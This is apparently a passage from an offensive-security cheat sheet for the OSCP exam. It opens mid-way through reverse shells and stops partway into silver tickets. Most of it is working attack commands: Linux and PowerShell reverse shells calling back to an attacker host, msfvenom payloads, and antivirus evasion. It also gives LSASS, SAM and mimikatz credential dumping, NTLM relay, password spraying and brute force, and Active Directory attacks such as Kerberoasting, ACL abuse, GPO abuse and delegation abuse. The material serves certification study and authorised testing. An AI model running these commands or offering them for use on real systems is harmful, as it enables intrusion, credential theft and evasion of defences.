python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("'$LHOST'",443));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
nc -e /bin/sh $LHOST 443
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST 443 >/tmp/f # if nc has no -e
perl -e 'use Socket;$i="'$LHOST'";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
socat TCP:$LHOST:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane # fully-interactive if socat is present

Windows reverse shells

PowerShell, nc.exe, ConPtyShell
# PowerShell one-liner (most reliable native option)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=[Text.Encoding]::ASCII.GetBytes($r+'PS> ');$s.Write($sb,0,$sb.Length);$s.Flush()}"
# quoting/AV pain? base64-encode a PS payload and run it (see the encoding block below):
powershell -nop -e <BASE64-UTF16LE>
# nc.exe (transfer it to the box first)
nc.exe $LHOST 443 -e cmd.exe
# fully-interactive Windows shell (tab-complete, arrows, Ctrl-C):
IEX(IWR http://$LHOST/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell $LHOST 443

Encode & package with msfvenom

produce the exact format the delivery needs
msfvenom --list formats ; msfvenom --list encoders
# stageless (self-contained; catch with nc OR a matching handler)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o sh.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o sh.exe
# staged Meterpreter (needs multi/handler with the SAME payload)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o met.exe
# web payloads
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw > sh.php
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o sh.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o sh.war
# encode to dodge bad chars (BOFs/filters) or output as base64/powershell
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f c -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -i 5
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f base64
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f psh -o sh.ps1

Metasploit multi/handler

multi/handler is Metasploit's listener — the receiving end for a payload you built with msfvenom. Reach for it when the payload is staged (a tiny first stage that pulls the rest of the payload down over the connection) or is Meterpreter: a plain nc listener can't complete the handshake for those, so the shell dies the moment it connects. Point the handler at the exact payload, LHOST and LPORT you generated, run it backgrounded (-j), and it catches the callback and drops you into a session you can list, background and juggle. A stageless, non-Meterpreter payload (shell_reverse_tcp) lands fine on nc — you only need the handler for staged or Meterpreter payloads.

catch staged & Meterpreter payloads
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp # MUST match the msfvenom payload exactly
set LHOST tun0 ; set LPORT 443
set ExitOnSession false
run -j # -j backgrounds the handler
# one-liner, no interactive console:
msfconsole -q -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST $LHOST;set LPORT 443;run -j"
# working a session:
sessions -l ; sessions -i 1
getuid ; sysinfo ; hashdump ; getsystem ; shell ; background
Meterpreter post-ex & pivoting (your one MSF box)
getsystem # SeImpersonate/SeDebug → SYSTEM
ps ; migrate <pid> # move into a stable SYSTEM process
load kiwi ; creds_all ; lsa_dump_sam # in-memory mimikatz
run post/windows/gather/hashdump
# pivot the internal subnet through this session:
run autoroute -s 10.10.20.0/24 # or: use multi/manage/autoroute
use auxiliary/server/socks_proxy ; set VERSION 5 ; run -j # → proxychains
portfwd add -l 3389 -p 3389 -r 10.10.20.5 # forward one internal port to Kali

AV evasion (when Defender eats your payload)

On the exam, static AV on Windows will flag raw msfvenom EXEs and mimikatz. A few OSCP-appropriate moves get a shell through:

encode / inject / template
# 1) inject shellcode into a legit signed PE (Shellter — the classic OSCP evasion tool)
sudo apt install shellter ; sudo shellter # Auto mode, point it at e.g. plink.exe
# 2) msfvenom: encode, iterate, and wrap in a real binary as a template
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -e x86/shikata_ga_nai -i 9 \ -x C:\legit.exe -k -f exe -o payload.exe
# 3) prefer NON-meterpreter (shell_reverse_tcp), run from memory, and rename tools
# 4) mimikatz flagged? use Invoke-Mimikatz in memory, or procdump lsass + pypykatz offline
12

Turn hashes into passwords

Password Cracking — John & Hashcat

You'll collect hashes everywhere — web DBs, SAM, shadow, Kerberos, protected files. Identify the format, pick the tool, then escalate: wordlist alone → wordlist + rules → masks.

1 · identify the hash
hashid -m 'HASH' # suggests the hashcat -m mode
nth --text 'HASH' # name-that-hash (pipx install name-that-hash)
hashcat --example-hashes | less # match your hash's shape to a mode
2 · extract crackable hashes from files (the *2john tools)
zip2john secret.zip > zip.hash # also: 7z2john, rar2john
ssh2john id_rsa > ssh.hash # encrypted SSH private key
keepass2john db.kdbx > kp.hash # KeePass database
office2john report.docx > office.hash # Office docs
pdf2john file.pdf > pdf.hash ; gpg2john key.asc > gpg.hash
# then crack with john OR hashcat -m <mode>
# SSH key passphrase in hashcat: -m 22911 (RSA/DSA) / -m 22921 (newer OpenSSH bcrypt)
ssh2john id_rsa > ssh.hash ; hashcat -m 22921 ssh.hash rockyou.txt
3 · John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # auto-detect format
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt # force a format
john --wordlist=rockyou.txt --rules=Jumbo hashes.txt # apply mangling rules
john --show hashes.txt # results (from john.pot)
# crack Linux logins
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john --wordlist=rockyou.txt unshadowed.txt
4 · Hashcat — attack modes
hashcat -m 1000 ntlm.txt rockyou.txt # -a 0 straight (default)
hashcat -m 0 md5.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 0 md5.txt -a 3 '?u?l?l?l?l?d?d?d' # -a 3 mask / brute
hashcat -m 0 md5.txt -a 6 rockyou.txt '?d?d?d' # -a 6 wordlist + mask (append)
hashcat -m 0 md5.txt -a 7 '?d?d?d' rockyou.txt # -a 7 mask + wordlist (prepend)
hashcat -m 0 md5.txt rockyou.txt --show --username # print cracked, keep user column
hashcat -m 1000 ntlm.txt rockyou.txt --force # CPU-only exam VM
hashcat -b -m 1000 # benchmark a mode
5 · common OSCP hashcat modes
0 MD5 100 SHA1
1000 NTLM 1800 sha512crypt ($6$ Linux shadow)
500 md5crypt ($1$) 3200 bcrypt ($2*$)
5600 NetNTLMv2 13100 Kerberoast (RC4)
18200 AS-REP 19700 Kerberoast (AES)
160 HMAC-SHA1 1000 NTLM (pass-the-hash source)
6 · standard rule files (ship in /usr/share/hashcat/rules/)
best64.rule # small, high-value — always try first
rockyou-30000.rule # bigger, derived from rockyou patterns
dive.rule # huge and thorough (slow)
OneRuleToRuleThemAll.rule # community favourite — drop it into rules/
hashcat -m 1000 ntlm.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# stack rules — applied in sequence, multiplies keyspace
hashcat -m 1000 ntlm.txt rockyou.txt -r best64.rule -r rules/toggles1.rule
7 · writing your own hashcat rules
# one rule per line; multiple functions run left → right on each word
: do nothing (keep the word as-is)
l u c lowercase / uppercase / capitalise
$1 $! append characters → word + "1!"
^A prepend a character
sa@ so0 se3 substitute a→@ o→0 e→3 (leetspeak)
r d t reverse / duplicate / toggle case
# example file season.rule
c $2 $0 $2 $5 # Capitalise + append 2025 → Summer2025
c $2 $0 $2 $5 $! # + a bang → Summer2025!
so0 se3 sa@ # leetspeak → S3cr3t → ...
# preview mutations WITHOUT cracking:
echo summer | hashcat --stdout -r season.rule
# then crack with it
hashcat -m 1000 ntlm.txt rockyou.txt -r season.rule
8 · mask attack charsets
?l lower ?u upper ?d digit ?s special ?a all ?b raw byte
-1 ?u?l # define custom set 1, then reference it as ?1
hashcat -m 0 h.txt -a 3 -1 ?u?l '?1?l?l?l?l?d?d' # match a known password policy

Dumping SAM & SYSTEM → local NTLM hashes

Local account hashes live in the SAM hive, encrypted with a boot key stored in the SYSTEM hive. Grab both, then extract the NTLM hashes offline with impacket-secretsdump — no need to touch LSASS. Needs local admin / SYSTEM (or SeBackupPrivilege). Add SECURITY for LSA secrets and cached domain creds.

1 · grab the hives (pick whatever your access allows)
# registry save — the simplest, from an admin shell
reg save HKLM\SAM C:\Temp\sam & reg save HKLM\SYSTEM C:\Temp\system
reg save HKLM\SECURITY C:\Temp\security # optional: LSA secrets / cached creds
# SeBackupPrivilege but not full admin? copy the locked files, bypassing the DACL
robocopy /b C:\Windows\System32\config C:\Temp SAM SYSTEM
# or a Volume Shadow Copy (files are locked while Windows runs)
diskshadow /s script.txt # (or vssadmin create shadow), then copy from the snapshot
2 · extract the hashes with impacket-secretsdump (on Kali)
# copy sam/system back to Kali, then parse them offline
impacket-secretsdump -sam sam -system system LOCAL
impacket-secretsdump -sam sam -system system -security security LOCAL # + LSA & cached creds
# output line: Administrator:500:aad3b435...:<NTLM>::: → the field after the 3rd ':' is the NT hash
# or dump it remotely in one shot (needs admin creds or a hash)
impacket-secretsdump domain.tld/USER:PASS@$IP
impacket-secretsdump -hashes :NTHASH Administrator@$IP # pass-the-hash, no password
nxc smb $IP -u USER -p PASS --sam --lsa # nxc does the whole thing for you

Password-manager & vault databases

Users stash everything in a KeePass or Password Safe vault — cracking one master password often hands you every credential on the network. Find the file, extract the hash, crack it, then open it.

1 · find vault files on the box
# Linux
find / -type f \( -iname '*.kdbx' -o -iname '*.kdb' -o -iname '*.psafe3' -o -iname '*.opvault' \) 2>/dev/null
locate .kdbx 2>/dev/null ; ls -la ~/.config/keepassxc ~/.keepass 2>/dev/null
# Windows
dir /s /b C:\*.kdbx C:\*.kdb C:\*.psafe3 2>nul
Get-ChildItem C:\ -Recurse -Include *.kdbx,*.kdb,*.psafe3 -ErrorAction SilentlyContinue
lazagne.exe all # also pulls KeePass/browser/wifi/RDP creds automatically (Windows)
2 · extract the hash & crack (by product)
keepass2john Database.kdbx > kp.hash # KeePass 1.x / 2.x
# → for hashcat, delete the leading 'Database:' label from the line
hashcat -m 13400 kp.hash /usr/share/wordlists/rockyou.txt # KeePass
john --wordlist=rockyou.txt kp.hash
# Password Safe (.psafe3)
hashcat -m 5200 pwsafe.hash rockyou.txt
# same pattern for other vaults: ansible2john / bitlocker2john / luks2john
# → hashcat -m 16900 (Ansible) / -m 22100 (BitLocker) / -m 14600 (LUKS)

Capturing & relaying NetNTLMv2

When you can make a Windows host authenticate to you — poisoned name resolution, a UNC path in a field, or coercion — you capture its NetNTLMv2 challenge-response. You can't pass-the-hash it (it's not the NT hash), so you either crack it offline or relay it live to a host where SMB signing is off.

capture with Responder, then crack
sudo responder -I tun0 -wv # poison LLMNR / NBT-NS / mDNS, log hashes
# trigger: get a victim to touch \\LHOST\anything (link, form field, file preview…)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt # crack the captured NetNTLMv2
relay it instead (can't crack, or want a shell) — impacket-ntlmrelayx
nxc smb <range> --gen-relay-list targets.txt # SMB-signing-OFF hosts
# turn Responder's own SMB/HTTP servers OFF in Responder.conf so ntlmrelayx can bind them
impacket-ntlmrelayx -tf targets.txt -smb2support # dumps SAM by default
impacket-ntlmrelayx -tf targets.txt -smb2support -c 'powershell -enc <b64>' # run a command
impacket-ntlmrelayx -tf targets.txt -smb2support -i # -i: interactive SMB on 127.0.0.1:11000
impacket-ntlmrelayx -t ldap://dc.domain.tld --escalate-user LOWUSER # relay to LDAP → grant DCSync
13

Guess your way in

Brute Force & Password Spraying

Cracking (previous section) is offline — you already hold the hash. This section is online: throwing guesses at a live service. Two shapes, and the difference matters for lockouts: brute force = many passwords against one account; password spraying = one password against many accounts. Spray first — it's how you avoid locking everyone out. And never forget the cheapest attack of all: credential reuse — a password found anywhere gets tried on every service and every user.

First build the username & password lists

A brute force is only as good as its lists. Gather names and candidate passwords from what enumeration already gave you — don't reach for rockyou.txt against a login form by reflex.

Where usernames come from
SMB / ADnxc --rid-brute, kerbrute userenum, enum4linux-ng, impacket-lookupsid
Linux host/etc/passwd (shells), home dir names, mail spool, ~/.ssh
Web appauthor enum (/?author=N, /wp-json), 'Team'/'About' pages, email format firstname.lastname
DocumentsPDF/Office metadata authors (exiftool), signatures, headers/footers
Default accountsadmin, administrator, root, guest, tomcat, service-name accounts
generate targeted lists from the target itself
cewl -d 3 -m 5 -w cewl.txt http://$IP/ # scrape the site → candidate passwords
username-anarchy -i names.txt > users.txt # firstname/lastname → login permutations
hashcat --stdout cewl.txt -r best64.rule | sort -u > mutations.txt # add Season2025! style
# combine a known email list + a password list into a combo for --user-pass style tools
for u in $(cat users.txt); do echo "$u:Welcome1"; done > spray.combo

Password spraying — safest, do it first

check the lockout policy, THEN spray one password wide
# ALWAYS read the policy first so you don't lock accounts:
nxc smb $IP -u anyuser -p anypass --pass-pol # LockoutThreshold / duration / window
net accounts /domain # (from a Windows foothold)
# one password across all users, across services — --continue-on-success finds every hit
nxc smb $IP -u users.txt -p 'Autumn2025!' --continue-on-success
nxc winrm $IP -u users.txt -p 'Autumn2025!' --continue-on-success
nxc ldap $IP -u users.txt -p 'Autumn2025!' --continue-on-success
kerbrute passwordspray -d domain.tld --dc $IP users.txt 'Autumn2025!'

Online brute force — per service

hydra / nxc / medusa across the common services
hydra -L users.txt -P rockyou.txt ssh://$IP -t 4 # SSH (keep threads low)
hydra -L users.txt -P pass.txt ftp://$IP
hydra -l administrator -P pass.txt rdp://$IP
hydra -L users.txt -P pass.txt $IP smb # or: nxc smb $IP -u users.txt -p pass.txt
medusa -h $IP -U users.txt -P pass.txt -M ssh -t 4
patator ssh_login host=$IP user=FILE0 password=FILE1 0=users.txt 1=pass.txt -x ignore:mesg=timeout
HTTP login forms — hydra http-post-form (the tricky one)
# 1) submit the form in the browser/Burp, note the path, the field names, and a FAILURE string
# 2) syntax: "<path>:<post-body with ^USER^/^PASS^>:<F=failure text | S=success text>"
hydra -L users.txt -P rockyou.txt $IP http-post-form \ "/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"
# HTTP Basic-Auth instead of a form:
hydra -L users.txt -P pass.txt $IP http-get /admin/
# WordPress: let WPScan drive it (xmlrpc multicall is far faster than hydra)
wpscan --url http://$IP/ -U users.txt -P rockyou.txt --password-attack xmlrpc
14

Map the domain first

Active Directory — Enumeration

Enumeration is the whole game in AD: you're building a picture of users, groups, ACLs, delegation and GPOs, and every finding maps to a specific attack in the next section. Collect broadly, mark what you own, and let BloodHound show the path.

1 · Users & the domain (no creds yet)

harvest a user list to feed everything else
nxc smb $IP -u '' -p '' --rid-brute 10000 # users via RID cycling
nxc smb $IP -u guest -p '' --rid-brute 10000 # guest often works when null doesn't
kerbrute userenum -d domain.tld --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
enum4linux-ng -A $IP
nxc ldap $IP -u '' -p '' --query "(objectClass=user)" "" # anonymous LDAP if allowed

2 · Deeper enumeration (with any creds)

dump the directory, hunt for freebies
impacket-GetADUsers -all domain.tld/USER:PASS -dc-ip $IP
ldapdomaindump -u 'domain.tld\USER' -p PASS $IP -o ldapdump/ # HTML dump of the whole dir
windapsearch --dc-ip $IP -u USER@domain.tld -p PASS --da # Domain Admins
windapsearch --dc-ip $IP -u USER@domain.tld -p PASS -PU # privileged users
nxc ldap $IP -u USER -p PASS --users # descriptions often hold passwords!
nxc ldap $IP -u USER -p PASS -M get-desc-users -M user-desc
nxc ldap $IP -u USER -p PASS -M laps # readable LAPS passwords
nxc ldap $IP -u USER -p PASS -M maq # MachineAccountQuota → RBCD?
nxc ldap $IP -u USER -p PASS -M adcs -M enum_trusts
nxc smb $IP -u USER -p PASS --shares --sessions --loggedon-users
nxc smb $IP -u USER -p PASS --spider-plus --share SYSVOL # hunt creds inside shares

3 · PowerView, from a Windows foothold

living off the land on the DC-joined host
. .\PowerView.ps1
Get-DomainUser -Properties samaccountname,description | fl # descriptions = free creds
Get-DomainGroupMember 'Domain Admins'
Get-DomainUser -SPN # kerberoastable accounts
Get-DomainUser -PreauthNotRequired # AS-REP roastable
Get-DomainComputer -Unconstrained # unconstrained delegation
Find-LocalAdminAccess # boxes where you are local admin
Get-NetSession -ComputerName <host> # where admins are logged in (hunt DA)
Get-DomainTrust ; Invoke-Kerberoast -OutputFormat Hashcat
# ACL abuse discovery + SID→name resolution
Get-ObjectAcl -Identity <user> -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'}
Convert-SidToName S-1-5-21-...-1104 # turn a SID into a name
Find-DomainShare -CheckShareAccess ; setspn -L <svc_account> # shares / SPNs
no-tools fallback (native, when you can't drop PowerView)
net user /domain ; net group /domain ; net group "Domain Admins" /domain
setspn -T domain.tld -Q */* # every SPN in the domain (kerberoast targets)
.\PsLoggedon.exe \\files04 # who's logged on a host (Sysinternals)
# pure .NET / ADSI domain object — no binaries at all:
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

4 · Group Policy (GPO) enumeration

find GPOs you can edit and where they apply
# PowerView (Windows) — list GPOs, then who can modify each
Get-DomainGPO | select displayname, gpcfilesyspath
Get-DomainGPO -Identity 'Some Policy' | Get-DomainObjectAcl -ResolveGUIDs |
? { $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|GenericWrite|GenericAll' }
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators # who is admin where, via GPO
Get-DomainOU | select name, gplink # which OUs each GPO is linked to
# from Kali — Group Policy Preferences secrets in SYSVOL
nxc smb $IP -u USER -p PASS -M gpp_password # cpassword in Groups.xml
nxc smb $IP -u USER -p PASS -M gpp_autologin
# BloodHound also flags editable GPOs — see the Cypher below

5 · Map the domain with BloodHound CE

BloodHound comes in two flavours: Community Edition (the current one — a web UI you run locally, usually via Docker) and the older BloodHound Legacy (the neo4j + Electron desktop app, still perfectly usable). Either works — CE is just the actively maintained version, and 'runs in Docker' still means it runs on your own machine. SharpHound (or a Python/Rust collector) gathers the data; you drop the zip into whichever UI and hunt with Cypher. Match the collector to your BloodHound version. Collector links are in 25 · Tooling.

5a · collect — pick a collector
bloodhound-ce-python -u USER -p PASS -d domain.tld -ns $IP -c All --zip
nxc ldap $IP -u USER -p PASS --bloodhound --collection All --dns-server $IP
.\SharpHound.exe -c All --zipfilename loot.zip # Windows foothold (match CE version)
.\SharpHound.exe -c DCOnly # stealthy: LDAP only, no host touch
.\SharpHound.exe -c Session,LoggedOn --loop --loopduration 00:30:00 # session hunting
rusthound-ce -d domain.tld -u USER@domain.tld -p PASS -z # fast static-binary collector
5b · stand up CE & ingest the zip
sudo apt install bloodhound # Kali CE package
curl -L https://ghst.ly/getbhce | docker compose -f - up # or Docker Compose
# browse http://localhost:8080 (admin password prints in the container logs)
# Administration → File Ingest → drag the SharpHound .zip in, then use the Cypher tab

6 · Useful Cypher queries (paste into the Cypher tab)

roastable / delegation / DCSync / editable GPOs
// Kerberoastable users
MATCH (u:User {hasspn:true}) RETURN u
// AS-REP roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u
// Computers with unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
// Principals with DCSync on the domain
MATCH p=(n)-[:DCSync|GetChanges|GetChangesAll|AllExtendedRights|GenericAll]->(:Domain) RETURN p
// GPOs your owned principals can modify
MATCH p=(u {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner]->(:GPO) RETURN p
paths to Domain Admins (RID -512) & from what YOU own
// mark a principal owned (or right-click → Mark as Owned in the UI)
MATCH (u:User) WHERE u.name = 'BOB@DOMAIN.TLD' SET u.owned=true
// shortest path from ANY node to Domain Admins
MATCH p=shortestPath((n)-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p
// shortest path from owned principals to Domain Admins
MATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p
// dangerous outbound rights FROM anything you own (the edges you can abuse now)
MATCH p=(u {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember|Owns|AddKeyCredentialLink*1..]->(n) RETURN p
// where you already have local admin / can RDP
MATCH p=(u {owned:true})-[:AdminTo|CanRDP]->(c:Computer) RETURN p
situational awareness
// where are Domain Admins logged in (harvest creds there)
MATCH p=(c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.objectid ENDS WITH '-512' RETURN p
// accounts whose description holds a password (classic freebie)
MATCH (u:User) WHERE u.description CONTAINS 'pass' RETURN u.name, u.description

Enumeration → Attack decision map

What each finding tells you to do next — every row points at a numbered play in 15 · AD Attacks.

If enumeration shows … → do this
User with pre-auth disabled (dontreqpreauth)AS-REP roast, crack -m 18200 — Attacks
A user/service account with an SPNKerberoast, crack -m 13100 — Attacks
One valid password + lockout headroompassword-spray it across all users — Attacks
Password in a description / SYSVOL GPPjust use it — authenticate & spray (free win)
Outbound ACL edge from an owned nodeACL abuse: change pw / add member / targeted roast — Attacks
An editable GPO linked to a populated OUGPO abuse: local-admin or SYSTEM task — Attacks
A cred/hash that is local admin somewherelateral movement (wmiexec / evil-winrm) — Lateral Movement (§16)
Unconstrained / constrained delegation, or MAQ>0delegation abuse (getST / RBCD) — Attacks
SMB signing disabled on hostscoerce + NTLM relay — Attacks
GetChanges + GetChangesAll on the domainDCSync the whole domain — Attacks
Local admin / SYSTEM on any hostdump SAM/LSA/LSASS for more creds — Attacks
15

Turn findings into access

Active Directory — Attacks

Each play opens with When — the enumeration finding that makes it the right move. Follow the decision map from 14 · AD Enumeration. Once a credential lands you on a box, move host-to-host in 16 · Lateral Movement.

Mimikatz — dump creds, keys & tickets

The go-to Windows post-exploitation tool (needs local admin / SYSTEM). It reads secrets straight from LSASS and the registry, and forges or injects Kerberos tickets. From Kali you rarely need it — impacket and nxc do the same over the wire — but on a Windows foothold it's king.

common mimikatz commands
.\mimikatz.exe
privilege::debug # enable SeDebug (needs admin)
sekurlsa::logonpasswords # plaintext / NTLM / Kerberos from LSASS
sekurlsa::ekeys # AES keys — for AES silver/golden & over-pass-the-hash
lsadump::sam # local SAM hashes
lsadump::secrets # LSA secrets (service-account passwords)
lsadump::dcsync /user:krbtgt # DCSync a user's hash (needs DCSync rights)
sekurlsa::pth /user:Administrator /domain:corp /ntlm:<NT> /run:cmd # pass-the-hash
# non-interactive one-liner:
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Password spraying & using a TGT

When: you have one working password (or a seasonal pattern) and the lockout policy leaves headroom. After a hit, request a Kerberos TGT and reuse it (pass-the-ticket) instead of resending the password.

spray, then request & use a TGT
nxc smb $IP -u USER -p PASS --pass-pol # read lockout threshold FIRST
nxc smb $IP -u users.txt -p 'Autumn2025!' --continue-on-success
kerbrute passwordspray -d domain.tld --dc $IP users.txt 'Autumn2025!'
# request a TGT for the valid account, then act as it (pass-the-ticket)
impacket-getTGT domain.tld/USER:PASS -dc-ip $IP # writes USER.ccache
export KRB5CCNAME=USER.ccache
impacket-psexec -k -no-pass domain.tld/USER@target.domain.tld

AS-REP roasting

When: enumeration flagged a user with pre-auth not required (dontreqpreauth) — or you have no creds yet and want a first crackable hash. Then: crack the hash offline (-m 18200); the recovered plaintext is a genuine domain password — spray it across every user and service and re-enumerate the domain as that account (its group memberships may open new paths).

pull & crack
# ---- Linux (Kali) ----
impacket-GetNPUsers domain.tld/ -usersfile users.txt -no-pass -dc-ip $IP -outputfile asrep.hash
nxc ldap $IP -u USER -p PASS --asreproast asrep.hash # grab all in one go with creds
# ---- Windows ----
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash
# ---- crack (either OS) ----
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Kerberoasting

When: you hold any valid domain creds and enumeration shows accounts with SPNs (service accounts). Prioritise RC4 tickets and accounts with a path to DA. Then: crack offline (-m 13100). Service accounts are frequently over-privileged — SQL/backup admins, sometimes Domain Admin — so test the plaintext for local-admin (nxc), a BloodHound path to DA, and reuse on other services; a Kerberoasted SQL account often leads straight to xp_cmdshell RCE.

request & crack service-account hashes
# ---- Linux (Kali) ----
impacket-GetUserSPNs domain.tld/USER:PASS -dc-ip $IP -request -outputfile krb.hash
nxc ldap $IP -u USER -p PASS --kerberoasting krb.hash
# ---- Windows ----
.\Rubeus.exe kerberoast /outfile:krb.hash
# ---- crack (either OS) ----
hashcat -m 13100 krb.hash /usr/share/wordlists/rockyou.txt

Abuse an ACL edge

When: BloodHound shows an outbound edge (GenericAll, GenericWrite, WriteDacl, ForceChangePassword, AddMember, AddKeyCredentialLink) from a principal you own to a higher-value target. Then: you now control that target — log in with the new password, the shadow-cred PKINIT ticket, or your new group rights — so mark it Owned in BloodHound and re-run Shortest-Path-from-Owned; each edge you consume usually reveals the next one toward Domain Admin.

common edge → action
# ForceChangePassword over a user
net rpc password TARGET 'NewPass123!' -U domain.tld/USER%PASS -S $IP
# AddMember / GenericAll over a group → add yourself
net rpc group addmem 'GROUP' USER -U domain.tld/USER%PASS -S $IP
# GenericAll over a user → targeted Kerberoast (set an SPN, then roast)
targetedKerberoast.py -d domain.tld -u USER -p PASS --request-user TARGET
# GenericWrite/GenericAll over a computer → Shadow Credentials
pywhisker -d domain.tld -u USER -p PASS --target TARGET$ --action add

Abuse a vulnerable GPO

When: enumeration (BloodHound / PowerView) shows you can modify a GPO that is linked to an OU containing users or computers you want. Editing it pushes your payload to every object in that OU.

SharpGPOAbuse (Windows) / pyGPOAbuse (Kali)
# add yourself to local Administrators on machines in the linked OU
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount USER --GPOName "Vulnerable Policy"
# or run a command as SYSTEM via an immediate scheduled task
SharpGPOAbuse.exe --AddComputerTask --TaskName up --Author domain\USER \ --Command cmd.exe --Arguments "/c net localgroup administrators USER /add" --GPOName "Vulnerable Policy"
# from Kali
pygpoabuse.py domain.tld/USER:PASS -gpo-id <GPO-GUID> -command 'net localgroup administrators USER /add'
# then force a refresh on the target (or wait up to 90 min): gpupdate /force

Delegation abuse

When: enumeration shows constrained delegation (msDS-AllowedToDelegateTo), unconstrained delegation, or you can write to a computer object with MachineAccountQuota > 0 (RBCD). Then: the getST output is a service ticket impersonating Administrator to the target SPN — use it with -k -no-pass exactly like a silver ticket (cifs/ → psexec/SYSTEM on that host). Unconstrained instead: coerce a DC to authenticate to your compromised host, capture its TGT from memory, and reuse it to DCSync.

constrained · resource-based (RBCD)
# CONSTRAINED — impersonate a user to the allowed SPN
impacket-getST -spn cifs/target.domain.tld -impersonate Administrator domain.tld/svc$:PASS -dc-ip $IP
# RBCD — GenericWrite over a computer + MAQ>0
impacket-addcomputer -computer-name EVIL$ -computer-pass P@ss123 domain.tld/USER:PASS -dc-ip $IP
impacket-rbcd -delegate-from EVIL$ -delegate-to TARGET$ -action write domain.tld/USER:PASS
impacket-getST -spn cifs/target.domain.tld -impersonate Administrator domain.tld/EVIL$:P@ss123
export KRB5CCNAME=Administrator.ccache ; impacket-psexec -k -no-pass target.domain.tld

Coercion & NTLM relay

When: enumeration shows SMB signing disabled on a target, and you can force an authentication (or want to relay to LDAP / AD CS). Then: the coerced auth lands in ntlmrelayx → relay to SMB on a signing-off host to dump its SAM or get a shell, or relay to LDAP with --escalate-user to grant your low-priv account DCSync. With -socks, keep the session alive and proxychains impacket tools through it. NetNTLMv2 you capture but can't relay → crack it (-m 5600).

force an auth, relay it, or hit a patch gap
nxc smb <range> --gen-relay-list relay.txt # signing-off targets
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
impacket-PetitPotam <listener-ip> $IP
printerbug.py domain.tld/USER:PASS@$IP <listener-ip>
nxc smb $IP -u '' -p '' -M zerologon ; nxc smb $IP -u USER -p PASS -M nopac -M petitpotam

Credential dumping (SAM · LSA · LSASS)

When: you're local admin / SYSTEM on a host — pull more secrets to reuse across the domain. Then: pass-the-hash the recovered NT hashes across the network (nxc smb <range> -u USER -H <hash>) to find where each is admin, crack what you can for plaintext reuse, and look for domain creds cached in LSASS (a logged-in DA is game over). A reused local-admin hash frequently unlocks every workstation at once.

dump & parse
nxc smb $IP -u USER -p PASS --sam --lsa ; nxc smb $IP -u USER -p PASS -M lsassy
reg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive & reg save HKLM\SECURITY sec.hive
impacket-secretsdump -sam sam.hive -system system.hive -security sec.hive LOCAL
procdump.exe -accepteula -ma lsass.exe lsass.dmp ; pypykatz lsa minidump lsass.dmp

Silver tickets

When: you have a service or computer account's hash/AES key. Forge a service ticket (TGS) for that one service on that one host — it never touches the DC, so it's stealthy and survives a krbtgt reset. Then: present the forged ticket with -k -no-pass (or /ptt) to that SPN as any user, including Administrator: cifs/ → file shares & psexec/SYSTEM, http/ → the web app / WinRM, mssqlsvc/ → the database (xp_cmdshell), host/ → schedule a task. One host, no DA, no DC — perfect when you cracked a service account but it isn't a local admin.

forge a TGS for ONE SPN (needs the domain SID)
impacket-lookupsid domain.tld/USER:PASS@$IP | grep 'Domain SID' # get the SID first
# ---- Linux (Kali) ----
